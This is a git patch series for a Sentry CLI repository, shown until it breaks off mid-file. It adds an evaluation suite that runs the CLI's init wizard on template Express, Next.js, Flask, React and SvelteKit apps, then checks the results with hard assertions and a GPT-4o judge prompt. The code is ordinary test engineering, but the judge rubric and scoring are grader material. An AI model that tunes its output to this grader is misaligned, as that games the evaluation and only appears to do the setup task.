["mime-db@1.54.0", "", {}, "sha512-aU5EJuIN2WDemCcAp2vFBfp/m4EAhWJnUNSSw0ixs7/kXbd6Pg64EmwJkNdFhB8aWt1sH2CTXrLxo/iAGV3oPQ=="], + "@sentry/bundler-plugin-core/glob/path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], "@sentry/bundler-plugin-core/glob/path-scurry/minipass": ["minipass@7.1.2", "", {}, "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw=="], - "express/type-is/mime-types/mime-db": ["mime-db@1.52.0", "", {}, "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg=="], - "glob/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.2", "", { "dependencies": { "jackspeak": "^4.2.3" } }, "sha512-x0K50QvKQ97fdEz2kPehIerj+YTeptKF9hyYkKf6egnwmMWAkADiO0QCzSp0R5xN8FTZgYaBfSaue46Ej62nMg=="], } } diff --git a/package.json b/package.json index fd680571..555ce054 100644 --- a/package.json +++ b/package.json @@ -21,11 +21,13 @@ "test:unit": "bun test test/lib test/commands test/types --coverage --coverage-reporter=lcov", "test:isolated": "bun test test/isolated", "test:e2e": "bun test test/e2e", + "test:init-eval": "bun test test/init-eval --timeout 600000", "generate:skill": "bun run script/generate-skill.ts", "check:skill": "bun run script/check-skill.ts", "check:deps": "bun run script/check-no-deps.ts" }, "devDependencies": { + "@anthropic-ai/sdk": "^0.39.0", "@biomejs/biome": "2.3.8", "@mastra/client-js": "^1.4.0", "@sentry/api": "^0.1.0", @@ -43,6 +45,7 @@ "esbuild": "^0.25.0", "fast-check": "^4.5.3", "ignore": "^7.0.5", + "openai": "^6.22.0", "p-limit": "^7.2.0", "pretty-ms": "^9.3.0", "qrcode-terminal": "^0.12.0", @@ -64,5 +67,8 @@ "packageManager": "bun@1.3.9", "patchedDependencies": { "@stricli/core@1.2.5": "patches/@stricli%2Fcore@1.2.5.patch" + }, + "dependencies": { + "opencode-lore": "^0.1.0" } } From 4e1269f72b75ed15c61686b03695445c17f87ad1 Mon Sep 17 00:00:00 2001 From: betegon Date: Mon, 23 Feb 2026 17:25:37 +0100 Subject: [PATCH 12/34] feat(init): add init-eval test suite Add LLM-as-judge eval tests for the init wizard across all five platforms (Express, Next.js, Flask, React+Vite, SvelteKit). Each test runs the wizard end-to-end and asserts on SDK installation, Sentry.init presence, build success, and documentation accuracy via an LLM judge. Includes template apps, helper utilities (assertions, doc-fetcher, judge, platform configs), and feature-docs.json mapping. Co-Authored-By: Claude Opus 4.6 --- test/init-eval/express.eval.test.ts | 3 + test/init-eval/feature-docs.json | 59 ++++++++ test/init-eval/helpers/assertions.ts | 98 ++++++++++++ test/init-eval/helpers/create-eval-suite.ts | 57 +++++++ test/init-eval/helpers/docs-fetcher.ts | 60 ++++++++ test/init-eval/helpers/judge.ts | 143 ++++++++++++++++++ test/init-eval/helpers/platforms.ts | 129 ++++++++++++++++ test/init-eval/helpers/run-wizard.ts | 117 ++++++++++++++ test/init-eval/helpers/test-env.ts | 46 ++++++ test/init-eval/nextjs.eval.test.ts | 3 + test/init-eval/python-flask.eval.test.ts | 3 + test/init-eval/react-vite.eval.test.ts | 3 + test/init-eval/sveltekit.eval.test.ts | 3 + .../templates/express-app/.gitignore | 2 + .../templates/express-app/package.json | 17 +++ .../templates/express-app/src/index.ts | 12 ++ .../templates/express-app/tsconfig.json | 16 ++ .../init-eval/templates/nextjs-app/.gitignore | 3 + .../templates/nextjs-app/next.config.ts | 5 + .../templates/nextjs-app/package.json | 21 +++ .../templates/nextjs-app/src/app/layout.tsx | 16 ++ .../templates/nextjs-app/src/app/page.tsx | 3 + .../templates/nextjs-app/tsconfig.json | 21 +++ .../templates/python-flask-app/.gitignore | 4 + .../templates/python-flask-app/app.py | 12 ++ .../python-flask-app/requirements.txt | 1 + .../templates/react-vite-app/.gitignore | 2 + .../templates/react-vite-app/index.html | 12 ++ .../templates/react-vite-app/package.json | 22 +++ .../templates/react-vite-app/src/app.tsx | 5 + .../templates/react-vite-app/src/main.tsx | 9 ++ .../templates/react-vite-app/tsconfig.json | 19 +++ .../templates/react-vite-app/vite.config.ts | 6 + .../templates/sveltekit-app/.gitignore | 3 + .../templates/sveltekit-app/package.json | 18 +++ .../sveltekit-app/src/routes/+page.svelte | 1 + .../templates/sveltekit-app/svelte.config.js | 12 ++ .../templates/sveltekit-app/tsconfig.json | 14 ++ .../templates/sveltekit-app/vite.config.ts | 6 + 39 files changed, 986 insertions(+) create mode 100644 test/init-eval/express.eval.test.ts create mode 100644 test/init-eval/feature-docs.json create mode 100644 test/init-eval/helpers/assertions.ts create mode 100644 test/init-eval/helpers/create-eval-suite.ts create mode 100644 test/init-eval/helpers/docs-fetcher.ts create mode 100644 test/init-eval/helpers/judge.ts create mode 100644 test/init-eval/helpers/platforms.ts create mode 100644 test/init-eval/helpers/run-wizard.ts create mode 100644 test/init-eval/helpers/test-env.ts create mode 100644 test/init-eval/nextjs.eval.test.ts create mode 100644 test/init-eval/python-flask.eval.test.ts create mode 100644 test/init-eval/react-vite.eval.test.ts create mode 100644 test/init-eval/sveltekit.eval.test.ts create mode 100644 test/init-eval/templates/express-app/.gitignore create mode 100644 test/init-eval/templates/express-app/package.json create mode 100644 test/init-eval/templates/express-app/src/index.ts create mode 100644 test/init-eval/templates/express-app/tsconfig.json create mode 100644 test/init-eval/templates/nextjs-app/.gitignore create mode 100644 test/init-eval/templates/nextjs-app/next.config.ts create mode 100644 test/init-eval/templates/nextjs-app/package.json create mode 100644 test/init-eval/templates/nextjs-app/src/app/layout.tsx create mode 100644 test/init-eval/templates/nextjs-app/src/app/page.tsx create mode 100644 test/init-eval/templates/nextjs-app/tsconfig.json create mode 100644 test/init-eval/templates/python-flask-app/.gitignore create mode 100644 test/init-eval/templates/python-flask-app/app.py create mode 100644 test/init-eval/templates/python-flask-app/requirements.txt create mode 100644 test/init-eval/templates/react-vite-app/.gitignore create mode 100644 test/init-eval/templates/react-vite-app/index.html create mode 100644 test/init-eval/templates/react-vite-app/package.json create mode 100644 test/init-eval/templates/react-vite-app/src/app.tsx create mode 100644 test/init-eval/templates/react-vite-app/src/main.tsx create mode 100644 test/init-eval/templates/react-vite-app/tsconfig.json create mode 100644 test/init-eval/templates/react-vite-app/vite.config.ts create mode 100644 test/init-eval/templates/sveltekit-app/.gitignore create mode 100644 test/init-eval/templates/sveltekit-app/package.json create mode 100644 test/init-eval/templates/sveltekit-app/src/routes/+page.svelte create mode 100644 test/init-eval/templates/sveltekit-app/svelte.config.js create mode 100644 test/init-eval/templates/sveltekit-app/tsconfig.json create mode 100644 test/init-eval/templates/sveltekit-app/vite.config.ts diff --git a/test/init-eval/express.eval.test.ts b/test/init-eval/express.eval.test.ts new file mode 100644 index 00000000..258c8849 --- /dev/null +++ b/test/init-eval/express.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("express"); diff --git a/test/init-eval/feature-docs.json b/test/init-eval/feature-docs.json new file mode 100644 index 00000000..87f94496 --- /dev/null +++ b/test/init-eval/feature-docs.json @@ -0,0 +1,59 @@ +{ + "$comment": [ + "Maps each platform to doc URLs used as ground truth by the LLM judge.", + "", + "Structure: { platformId: { featureName: [url, ...] } }", + " - Platform keys must match the `id` from helpers/platforms.ts", + " - Feature names are free-form strings (e.g. 'getting-started', 'errors')", + " - Each feature maps to an array of doc URLs (multiple pages allowed)", + " - Empty arrays mean 'no docs yet'; the judge skips the follows-docs criterion", + "", + "To add a new platform: add a key with its feature objects.", + "To add a new feature: add a new key under the platform with a URL array." + ], + + "nextjs": { + "getting-started": [], + "errors": [], + "logs": [], + "tracing": [], + "replay": [], + "metrics": [], + "sourcemaps": [], + "profiling": [] + }, + + "express": { + "getting-started": ["https://docs.sentry.io/platforms/javascript/guides/express/"], + "errors": ["https://docs.sentry.io/platforms/javascript/guides/express/usage/"], + "tracing": ["https://docs.sentry.io/platforms/javascript/guides/express/tracing/"], + "logs": ["https://docs.sentry.io/platforms/javascript/guides/express/logs/"], + "metrics": ["https://docs.sentry.io/platforms/javascript/guides/express/metrics/"], + "profiling": ["https://docs.sentry.io/platforms/javascript/guides/express/profiling/"] + }, + + "python-flask": { + "getting-started": [], + "errors": [], + "tracing": [], + "logs": [], + "metrics": [], + "profiling": [] + }, + + "sveltekit": { + "getting-started": [], + "errors": [], + "sourcemaps": [], + "replay": [], + "tracing": [] + }, + + "react-vite": { + "getting-started": [], + "errors": [], + "sourcemaps": [], + "replay": [], + "tracing": [] + } +} diff --git a/test/init-eval/helpers/assertions.ts b/test/init-eval/helpers/assertions.ts new file mode 100644 index 00000000..52633b95 --- /dev/null +++ b/test/init-eval/helpers/assertions.ts @@ -0,0 +1,98 @@ +import { execSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { join } from "node:path"; +import type { Platform } from "./platforms.js"; +import type { WizardResult } from "./run-wizard.js"; + +export type AssertionFailure = { + check: string; + message: string; +}; + +/** + * Run hard pass/fail assertions on the wizard result. + * Returns an array of failures (empty = all passed). + */ +export function runAssertions( + projectDir: string, + platform: Platform, + result: WizardResult +): AssertionFailure[] { + const failures: AssertionFailure[] = []; + + // 1. Exit code 0 + if (result.exitCode !== 0) { + failures.push({ + check: "exit-code", + message: `Expected exit code 0, got ${result.exitCode}.\nstderr: ${result.stderr.slice(0, 500)}`, + }); + } + + // 2. SDK in dependencies + try { + const depContent = readFileSync( + join(projectDir, platform.depFile), + "utf-8" + ); + if (!depContent.includes(platform.sdkPackage)) { + failures.push({ + check: "sdk-installed", + message: `${platform.sdkPackage} not found in ${platform.depFile}`, + }); + } + } catch { + failures.push({ + check: "sdk-installed", + message: `Could not read ${platform.depFile}`, + }); + } + + // 3. Sentry.init present in changed or new files + const allContent = result.diff + Object.values(result.newFiles).join("\n"); + if (!platform.initPattern.test(allContent)) { + failures.push({ + check: "init-present", + message: `${platform.initPattern} not found in any changed or new files`, + }); + } + + // 4. No placeholder DSNs + const placeholderPatterns = [ + /___PUBLIC_DSN___/, + /YOUR_DSN_HERE/, + /https:\/\/examplePublicKey@o0\.ingest\.sentry\.io\/0/, + ]; + for (const pat of placeholderPatterns) { + if (pat.test(allContent)) { + failures.push({ + check: "no-placeholder-dsn", + message: `Placeholder DSN found: ${pat.source}`, + }); + } + } + + // 5. Project builds (if buildCmd set) + if (platform.buildCmd) { + try { + // Install deps first (wizard may have added new ones) + execSync(platform.installCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + execSync(platform.buildCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + failures.push({ + check: "build-succeeds", + message: `Build failed: ${msg.slice(0, 500)}`, + }); + } + } + + return failures; +} diff --git a/test/init-eval/helpers/create-eval-suite.ts b/test/init-eval/helpers/create-eval-suite.ts new file mode 100644 index 00000000..ca8ac2a1 --- /dev/null +++ b/test/init-eval/helpers/create-eval-suite.ts @@ -0,0 +1,57 @@ +import { afterAll, describe, expect, test } from "bun:test"; +import { runAssertions } from "./assertions"; +import { fetchDocsContent } from "./docs-fetcher"; +import { judgeFeature } from "./judge"; +import { getPlatform, WIZARD_FEATURE_IDS } from "./platforms"; +import { runWizard, type WizardResult } from "./run-wizard"; +import { createTestEnv } from "./test-env"; + +/** + * Creates a standard eval test suite for a given platform. + * + * Runs the wizard once with all features, then: + * 1. Code-based hard assertions (deterministic) + * 2. Per-feature LLM judge calls (one test per feature) + */ +export function createEvalSuite(platformId: string) { + const p = getPlatform(platformId); + const env = createTestEnv(p.templateDir); + let result: WizardResult; + + // Only pass features that are valid wizard --features flag values + const wizardFeatures = p.docs + .map((d) => d.feature) + .filter((f) => WIZARD_FEATURE_IDS.has(f)); + + afterAll(() => env.cleanup()); + + describe(`eval: ${p.name}`, () => { + test( + "wizard completes", + async () => { + result = await runWizard(env.projectDir, p, wizardFeatures); + expect(result.exitCode).toBe(0); + }, + p.timeout + ); + + test("hard assertions pass", async () => { + const failures = runAssertions(env.projectDir, p, result); + if (failures.length > 0) { + console.log("Assertion failures:", JSON.stringify(failures, null, 2)); + } + expect(failures).toEqual([]); + }, 120_000); + + // Per-feature LLM judge — one test per feature + for (const doc of p.docs) { + test(`judge: ${doc.feature}`, async () => { + const docsContent = await fetchDocsContent(doc.docsUrls); + const verdict = await judgeFeature(result, p, doc, docsContent); + if (verdict) { + expect(verdict.score).toBeGreaterThanOrEqual(0.5); + } + }, 60_000); + } + }); +} diff --git a/test/init-eval/helpers/docs-fetcher.ts b/test/init-eval/helpers/docs-fetcher.ts new file mode 100644 index 00000000..4fb9936d --- /dev/null +++ b/test/init-eval/helpers/docs-fetcher.ts @@ -0,0 +1,60 @@ +/** + * Fetch Sentry documentation pages and extract plain text for use as + * ground-truth reference material in LLM judge prompts. + * + * Accepts an array of URLs — fetches all in parallel and concatenates results. + * Returns "(no docs provided)" when the array is empty. + */ +export async function fetchDocsContent(urls: string[]): Promise { + if (urls.length === 0) { + return "(no docs provided)"; + } + + // Restore real fetch — test preload mocks it to catch accidental network + // calls, but we need real HTTP to reach docs.sentry.io. + const realFetch = (globalThis as { __originalFetch?: typeof fetch }) + .__originalFetch; + if (realFetch) { + globalThis.fetch = realFetch; + } + + const charBudgetPerUrl = Math.floor(6000 / urls.length); + + const results = await Promise.all( + urls.map((url) => fetchOne(url, charBudgetPerUrl)) + ); + return results.join("\n\n---\n\n"); +} + +async function fetchOne(url: string, charLimit: number): Promise { + try { + const res = await fetch(url, { + headers: { "User-Agent": "sentry-init-eval/1.0" }, + }); + + if (!res.ok) { + return `(failed to fetch ${url}: ${res.status})`; + } + + const html = await res.text(); + + // Strip HTML tags, collapse whitespace + const text = html + .replace(//gi, "") + .replace(//gi, "") + .replace(/<[^>]+>/g, " ") + .replace(/ /g, " ") + .replace(/&/g, "&") + .replace(/</g, "<") + .replace(/>/g, ">") + .replace(/"/g, '"') + .replace(/'/g, "'") + .replace(/\s+/g, " ") + .trim(); + + return text.slice(0, charLimit); + } catch (err) { + const msg = err instanceof Error ? err.message : String(err); + return `(failed to fetch ${url}: ${msg})`; + } +} diff --git a/test/init-eval/helpers/judge.ts b/test/init-eval/helpers/judge.ts new file mode 100644 index 00000000..4b8ee863 --- /dev/null +++ b/test/init-eval/helpers/judge.ts @@ -0,0 +1,143 @@ +import type { FeatureDoc, Platform } from "./platforms.js"; +import type { WizardResult } from "./run-wizard.js"; + +export type JudgeCriterion = { + name: string; + /** true = pass, false = fail, "unknown" = judge can't determine */ + pass: boolean | "unknown"; + reason: string; +}; + +export type JudgeVerdict = { + criteria: JudgeCriterion[]; + /** Score from 0-1, computed only over criteria that aren't "unknown" */ + score: number; + summary: string; +}; + +/** + * Use an LLM judge to evaluate whether a **single feature** was correctly set + * up by the wizard. Returns null if OPENAI_API_KEY is not set. + * + * `docsContent` is the pre-fetched plain-text documentation to include as + * ground truth in the prompt. + */ +export async function judgeFeature( + result: WizardResult, + platform: Platform, + feature: FeatureDoc, + docsContent: string +): Promise { + const apiKey = process.env.OPENAI_API_KEY; + if (!apiKey) { + console.log( + ` [judge:${feature.feature}] Skipping LLM judge (no OPENAI_API_KEY set)` + ); + return null; + } + + // Restore real fetch — test preload mocks it to catch accidental network + // calls, but we need real HTTP for the OpenAI API. + const realFetch = (globalThis as { __originalFetch?: typeof fetch }) + .__originalFetch; + if (realFetch) { + globalThis.fetch = realFetch; + } + + // Dynamic import so we don't fail when the package isn't installed + const { default: OpenAI } = await import("openai"); + const client = new OpenAI({ apiKey }); + + const newFilesSection = Object.entries(result.newFiles) + .map(([path, content]) => `### ${path}\n\`\`\`\n${content}\n\`\`\``) + .join("\n\n"); + + const prompt = `You are evaluating whether **${feature.feature}** was correctly set up in a **${platform.name}** project by a Sentry SDK wizard. + +## Official Sentry documentation for ${feature.feature} +${docsContent} + +## Changes made by wizard (git diff) +\`\`\`diff +${result.diff.slice(0, 20_000)} +\`\`\` + +## New files created by wizard +${newFilesSection.slice(0, 20_000) || "(none)"} + +## Wizard output +stdout: ${result.stdout.slice(0, 2000)} +stderr: ${result.stderr.slice(0, 2000)} + +Score each criterion as true (pass), false (fail), or "unknown" (cannot determine from the available information): +1. **feature-initialized** — The ${feature.feature} feature is correctly initialized per the documentation +2. **correct-imports** — Correct imports and SDK packages used for ${feature.feature} +3. **no-syntax-errors** — No syntax errors or broken imports in ${feature.feature}-related code +4. **follows-docs** — ${feature.feature} configuration follows documentation recommendations + +Return ONLY valid JSON with this structure: +{ + "criteria": [ + {"name": "feature-initialized", "pass": true, "reason": "..."}, + {"name": "correct-imports", "pass": true, "reason": "..."}, + {"name": "no-syntax-errors", "pass": true, "reason": "..."}, + {"name": "follows-docs", "pass": "unknown", "reason": "..."} + ], + "summary": "Brief overall assessment of ${feature.feature} setup" +}`; + + const response = await client.chat.completions.create({ + model: "gpt-4o", + max_tokens: 1024, + messages: [{ role: "user", content: prompt }], + }); + + const text = response.choices[0]?.message?.content ?? ""; + + // Extract JSON from response (handle markdown code blocks) + const jsonMatch = text.match(/\{[\s\S]*\}/); + if (!jsonMatch) { + console.log( + ` [judge:${feature.feature}] Failed to parse judge response:`, + text.slice(0, 200) + ); + return null; + } + + let parsed: { criteria: JudgeCriterion[]; summary: string }; + try { + parsed = JSON.parse(jsonMatch[0]); + } catch { + console.log( + ` [judge:${feature.feature}] Invalid JSON in response:`, + jsonMatch[0].slice(0, 200) + ); + return null; + } + + // Score: ignore "unknown" criteria, only count pass/fail + const gradable = parsed.criteria.filter((c) => c.pass !== "unknown"); + const passing = gradable.filter((c) => c.pass === true).length; + const total = gradable.length; + const score = total > 0 ? passing / total : 0; + + const verdict: JudgeVerdict = { + criteria: parsed.criteria, + score, + summary: parsed.summary, + }; + + // Log for visibility in test output + console.log( + ` [judge:${feature.feature}] Score: ${passing}/${total} (${(score * 100).toFixed(0)}%)` + ); + for (const c of parsed.criteria) { + let icon = "FAIL"; + if (c.pass === "unknown") icon = "SKIP"; + else if (c.pass === true) icon = "PASS"; + console.log(` ${icon} ${c.name}: ${c.reason}`); + } + console.log(` [judge:${feature.feature}] Summary: ${parsed.summary}`); + + return verdict; +} diff --git a/test/init-eval/helpers/platforms.ts b/test/init-eval/helpers/platforms.ts new file mode 100644 index 00000000..402e2c53 --- /dev/null +++ b/test/init-eval/helpers/platforms.ts @@ -0,0 +1,129 @@ +import { readFileSync } from "node:fs"; +import { join } from "node:path"; + +export type FeatureId = + | "errors" + | "tracing" + | "logs" + | "replay" + | "metrics" + | "sourcemaps" + | "profiling"; + +/** Feature IDs that are valid for the wizard `--features` flag. */ +export const WIZARD_FEATURE_IDS: Set = new Set([ + "errors", + "tracing", + "logs", + "replay", + "metrics", + "sourcemaps", + "profiling", +]); + +export type FeatureDoc = { + feature: string; + docsUrls: string[]; +}; + +export type Platform = { + id: string; + name: string; + templateDir: string; + sdkPackage: string; + depFile: string; + docs: FeatureDoc[]; + buildCmd?: string; + installCmd: string; + initPattern: RegExp; + timeout: number; +}; + +const TEMPLATES_DIR = join(import.meta.dir, "../templates"); + +/** Load feature docs from the external JSON config. */ +const featureDocsRaw: Record> = JSON.parse( + readFileSync(join(import.meta.dir, "../feature-docs.json"), "utf-8") +); + +function getDocs(platformId: string): FeatureDoc[] { + const entry = featureDocsRaw[platformId]; + if (!entry) { + throw new Error( + `No feature docs found for platform "${platformId}" in feature-docs.json` + ); + } + return Object.entries(entry).map(([feature, urls]) => ({ + feature, + docsUrls: urls, + })); +} + +export const PLATFORMS: Platform[] = [ + { + id: "nextjs", + name: "Next.js", + templateDir: join(TEMPLATES_DIR, "nextjs-app"), + sdkPackage: "@sentry/nextjs", + depFile: "package.json", + docs: getDocs("nextjs"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "express", + name: "Express", + templateDir: join(TEMPLATES_DIR, "express-app"), + sdkPackage: "@sentry/node", + depFile: "package.json", + docs: getDocs("express"), + installCmd: "npm install", + buildCmd: "npx tsc --noEmit", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "python-flask", + name: "Flask", + templateDir: join(TEMPLATES_DIR, "python-flask-app"), + sdkPackage: "sentry-sdk", + depFile: "requirements.txt", + docs: getDocs("python-flask"), + installCmd: "pip install -r requirements.txt", + buildCmd: "python -m compileall -q .", + initPattern: /sentry_sdk\.init/, + timeout: 300_000, + }, + { + id: "sveltekit", + name: "SvelteKit", + templateDir: join(TEMPLATES_DIR, "sveltekit-app"), + sdkPackage: "@sentry/sveltekit", + depFile: "package.json", + docs: getDocs("sveltekit"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, + { + id: "react-vite", + name: "React + Vite", + templateDir: join(TEMPLATES_DIR, "react-vite-app"), + sdkPackage: "@sentry/react", + depFile: "package.json", + docs: getDocs("react-vite"), + installCmd: "npm install", + buildCmd: "npm run build", + initPattern: /Sentry\.init/, + timeout: 300_000, + }, +]; + +export function getPlatform(id: string): Platform { + const p = PLATFORMS.find((entry) => entry.id === id); + if (!p) throw new Error(`Unknown platform: ${id}`); + return p; +} diff --git a/test/init-eval/helpers/run-wizard.ts b/test/init-eval/helpers/run-wizard.ts new file mode 100644 index 00000000..a7561816 --- /dev/null +++ b/test/init-eval/helpers/run-wizard.ts @@ -0,0 +1,117 @@ +import { execSync } from "node:child_process"; +import { readFileSync } from "node:fs"; +import { join, resolve } from "node:path"; +import { getCliCommand } from "../../fixture.js"; +import type { Platform } from "./platforms.js"; + +/** Root of the CLI repo (three levels up from this file). */ +const CLI_ROOT = resolve(import.meta.dir, "../../.."); + +export type WizardResult = { + exitCode: number; + stdout: string; + stderr: string; + diff: string; + newFiles: Record; +}; + +/** + * Run `sentry init --yes --force` on a project directory and capture results. + * When `features` is provided, passes `--features ` to the wizard. + */ +export async function runWizard( + projectDir: string, + platform: Platform, + features?: string[] +): Promise { + // Resolve relative paths (e.g. "src/bin.ts") against the CLI repo root, + // since the wizard spawns with cwd set to the temp project directory. + const cmd = getCliCommand().map((part) => + part.includes("/") ? resolve(CLI_ROOT, part) : part + ); + const mastraUrl = process.env.MASTRA_API_URL; + if (!mastraUrl) { + throw new Error("MASTRA_API_URL env var is required to run init evals"); + } + + // Install dependencies first so the wizard sees a realistic project + try { + execSync(platform.installCmd, { + cwd: projectDir, + stdio: "pipe", + timeout: 120_000, + }); + // Commit lock files so they don't show up in the diff + execSync("git add -A && git commit -m deps --no-gpg-sign --allow-empty", { + cwd: projectDir, + stdio: "pipe", + env: { + ...process.env, + GIT_AUTHOR_NAME: "test", + GIT_AUTHOR_EMAIL: "test@test.com", + GIT_COMMITTER_NAME: "test", + GIT_COMMITTER_EMAIL: "test@test.com", + }, + }); + } catch { + // Some templates (e.g. Python) might not need install + } + + const initArgs = [...cmd, "init", "--yes", "--force"]; + if (features && features.length > 0) { + initArgs.push("--features", features.join(",")); + } + + const proc = Bun.spawn(initArgs, { + cwd: projectDir, + stdout: "pipe", + stderr: "pipe", + env: { + ...process.env, + // Override the hardcoded Mastra URL to point at local/test server + SENTRY_WIZARD_API_URL: mastraUrl, + // Disable telemetry + SENTRY_CLI_NO_TELEMETRY: "1", + }, + }); + + const [stdout, stderr] = await Promise.all([ + new Response(proc.stdout).text(), + new Response(proc.stderr).text(), + ]); + + const exitCode = await proc.exited; + + // Capture git diff (staged + unstaged changes since last commit) + let diff = ""; + try { + diff = execSync("git diff HEAD", { + cwd: projectDir, + encoding: "utf-8", + maxBuffer: 1024 * 1024, + }); + } catch { + // No diff available + } + + // Capture new untracked files + const newFiles: Record = {}; + try { + const untracked = execSync("git ls-files --others --exclude-standard", { + cwd: projectDir, + encoding: "utf-8", + }).trim(); + + for (const file of untracked.split("\n").filter(Boolean)) { + try { + newFiles[file] = readFileSync(join(projectDir, file), "utf-8"); + } catch { + // Binary or unreadable + } + } + } catch { + // No untracked files + } + + return { exitCode, stdout, stderr, diff, newFiles }; +} diff --git a/test/init-eval/helpers/test-env.ts b/test/init-eval/helpers/test-env.ts new file mode 100644 index 00000000..94abfb33 --- /dev/null +++ b/test/init-eval/helpers/test-env.ts @@ -0,0 +1,46 @@ +import { execSync } from "node:child_process"; +import { cpSync, mkdirSync, rmSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; + +export type TestEnv = { + projectDir: string; + cleanup: () => void; +}; + +/** + * Copy a template project into an isolated temp directory with git initialized. + * Returns the project dir and a cleanup function. + */ +export function createTestEnv(templateDir: string): TestEnv { + const rand = Math.random().toString(36).slice(2, 8); + const name = templateDir.split("/").pop() ?? "project"; + const projectDir = join(tmpdir(), "sentry-init-eval", `${name}-${rand}`); + + mkdirSync(projectDir, { recursive: true }); + cpSync(templateDir, projectDir, { recursive: true }); + + // Initialize git so we can diff after the wizard runs + execSync("git init && git add -A && git commit -m init --no-gpg-sign", { + cwd: projectDir, + stdio: "pipe", + env: { + ...process.env, + GIT_AUTHOR_NAME: "test", + GIT_AUTHOR_EMAIL: "test@test.com", + GIT_COMMITTER_NAME: "test", + GIT_COMMITTER_EMAIL: "test@test.com", + }, + }); + + const cleanup = () => { + if (process.env.KEEP_TEMP) return; + try { + rmSync(projectDir, { recursive: true, force: true }); + } catch { + // ignore + } + }; + + return { projectDir, cleanup }; +} diff --git a/test/init-eval/nextjs.eval.test.ts b/test/init-eval/nextjs.eval.test.ts new file mode 100644 index 00000000..1938f0d5 --- /dev/null +++ b/test/init-eval/nextjs.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("nextjs"); diff --git a/test/init-eval/python-flask.eval.test.ts b/test/init-eval/python-flask.eval.test.ts new file mode 100644 index 00000000..95e1528e --- /dev/null +++ b/test/init-eval/python-flask.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("python-flask"); diff --git a/test/init-eval/react-vite.eval.test.ts b/test/init-eval/react-vite.eval.test.ts new file mode 100644 index 00000000..e4d844c8 --- /dev/null +++ b/test/init-eval/react-vite.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("react-vite"); diff --git a/test/init-eval/sveltekit.eval.test.ts b/test/init-eval/sveltekit.eval.test.ts new file mode 100644 index 00000000..b44beae8 --- /dev/null +++ b/test/init-eval/sveltekit.eval.test.ts @@ -0,0 +1,3 @@ +import { createEvalSuite } from "./helpers/create-eval-suite"; + +createEvalSuite("sveltekit"); diff --git a/test/init-eval/templates/express-app/.gitignore b/test/init-eval/templates/express-app/.gitignore new file mode 100644 index 00000000..b9470778 --- /dev/null +++ b/test/init-eval/templates/express-app/.gitignore @@ -0,0 +1,2 @@ +node_modules/ +dist/ diff --git a/test/init-eval/templates/express-app/package.json b/test/init-eval/templates/express-app/package.json new file mode 100644 index 00000000..60915acd --- /dev/null +++ b/test/init-eval/templates/express-app/package.json @@ -0,0 +1,17 @@ +{ + "name": "express-app", + "version": "0.1.0", + "private": true, + "scripts": { + "start": "node dist/index.js", + "build": "tsc" + }, + "dependencies": { + "express": "^4.21.0" + }, + "devDependencies": { + "@types/express": "^5", + "@types/node": "^22", + "typescript": "^5" + } +} diff --git a/test/init-eval/templates/express-app/src/index.ts b/test/init-eval/templates/express-app/src/index.ts new file mode 100644 index 00000000..ed2c1ef0 --- /dev/null +++ b/test/init-eval/templates/express-app/src/index.ts @@ -0,0 +1,12 @@ +import express from "express"; + +const app = express(); +const port = process.env.PORT || 3000; + +app.get("/", (_req, res) => { + res.json({ message: "Hello World" }); +}); + +app.listen(port, () => { + console.log(`Server running on port ${port}`); +}); diff --git a/test/init-eval/templates/express-app/tsconfig.json b/test/init-eval/templates/express-app/tsconfig.json new file mode 100644 index 00000000..856416bb --- /dev/null +++ b/test/init-eval/templates/express-app/tsconfig.json @@ -0,0 +1,16 @@ +{ + "compilerOptions": { + "target": "ES2022", + "module": "commonjs", + "lib": ["ES2022"], + "outDir": "./dist", + "rootDir": "./src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +} diff --git a/test/init-eval/templates/nextjs-app/.gitignore b/test/init-eval/templates/nextjs-app/.gitignore new file mode 100644 index 00000000..7c8ed234 --- /dev/null +++ b/test/init-eval/templates/nextjs-app/.gitignore @@ -0,0 +1,3 @@ +node_modules/ +.next/ +out/ diff --git a/test/init-eval/templates/nextjs-app/next.config.ts b/test/init-eval/templates/nextjs-app/next.config.ts new file mode 100644 index 00000000..cb651cdc --- /dev/null +++ b/test/init-eval/templates/nextjs-app/next.config.ts @@ -0,0 +1,5 @@ +import type { NextConfig } from "next"; + +const nextConfig: NextConfig = {}; + +export default nextConfig; diff --git a/test/init-eval/templates/nextjs-app/package.json b/test/init-eval/templates/nextjs-app/package.json new file mode 100644 index 00000000..22af217c --- /dev/null +++ b/test/init-eval/templates/nextjs-app/package.json @@ -0,0 +1,21 @@ +{ + "name": "nextjs-app", + "version": "0.1.0", + "private": true, + "scripts": { + "dev": "next dev", + "build": "next build", + "start": "next start" + }, + "dependencies": { + "next": "^15.1.0", + "react": 